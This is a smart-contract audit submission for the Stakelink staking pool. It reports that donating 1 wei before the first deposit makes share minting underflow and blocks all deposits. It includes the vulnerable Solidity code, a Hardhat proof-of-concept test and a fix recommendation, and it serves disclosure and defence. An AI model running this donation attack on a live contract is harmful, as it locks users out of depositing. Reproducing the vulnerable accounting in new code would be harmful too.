Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: medium
Valid

Staking pool can be blocked from receiving deposits

Summary

The Staking Pool contract can be blocked from receiving deposits due to donating tokens at initial state

Vulnerability Details

The function StakingPool#donateTokens() allows arbitrary caller to donate asset tokens to the pool, effectively increase the total staked amount.

function donateTokens(uint256 _amount) external {
token.safeTransferFrom(msg.sender, address(this), _amount);
@> totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}

The totalStaked is used to compute shares to mint to depositors. At the very first deposit after Staking Pool is deployed, it is expected that the share amount to be minted will equal to the deposit amount.

function getSharesByStake(uint256 _amount) public view returns (uint256) {
uint256 totalStaked = _totalStaked();
@> if (totalStaked == 0) {
return _amount;
} else {
return (_amount * totalShares) / totalStaked;
}
}

However, by donating tokens just 1 wei which increases totalStaked to be > 0, the function getSharesByStake() always return 0 at the first deposit, which causes the mint flow to revert due to arithmetic underflow

function _mintShares(address _recipient, uint256 _amount) internal {
require(_recipient != address(0), "Mint to the zero address");
if (totalShares == 0) {
shares[address(0)] = DEAD_SHARES;
totalShares = DEAD_SHARES;
@> _amount -= DEAD_SHARES; // underflow because `_amount = 0` always hold
}
totalShares += _amount;
shares[_recipient] += _amount;
}

PoC

Add the test below to test file staking-pool.test.ts:

it.only('donateTokens blocks deposits', async () => {
const { accounts,token, stake, adrs } = await loadFixture(deployFixture)
const stakingPool = (await deployUpgradeable('StakingPool', [
adrs.token,
'LinkPool LINK',
'lpLINK',
[
[accounts[4], 1000],
[adrs.erc677Receiver, 2000],
],
toEther(10000),
])) as StakingPool
const strategy1 = (await deployUpgradeable('StrategyMock', [
adrs.token,
await stakingPool.getAddress(),
toEther(1000),
toEther(10),
])) as StrategyMock
await stakingPool.addStrategy(await strategy1.getAddress())
await stakingPool.setPriorityPool(accounts[0])
await token.approve((await stakingPool.getAddress()), ethers.MaxUint256)
// Donate 1 wei
await stakingPool.donateTokens(1);
// revert due to underflow
await expect(stakingPool.deposit(accounts[0], 1000, ['0x', '0x'])).to.be.revertedWithPanic();
})

Run the test and it passes. It means that the first deposit fails

Please note that the function StakingRewardsPool#_mint() (out of scope) itself is not vulnerable. The root cause is from donateTokens() which is from in-scope StakingPool contract

Impact

Staking Pool is DoS

Tools Used

Manual

Recommendations

Consider not increasing totalStaked in the function StakingPool#donateTokens()

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

donateTokens() allows a malicious user to manipulate the system in such a way that users may receive 0 shares.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!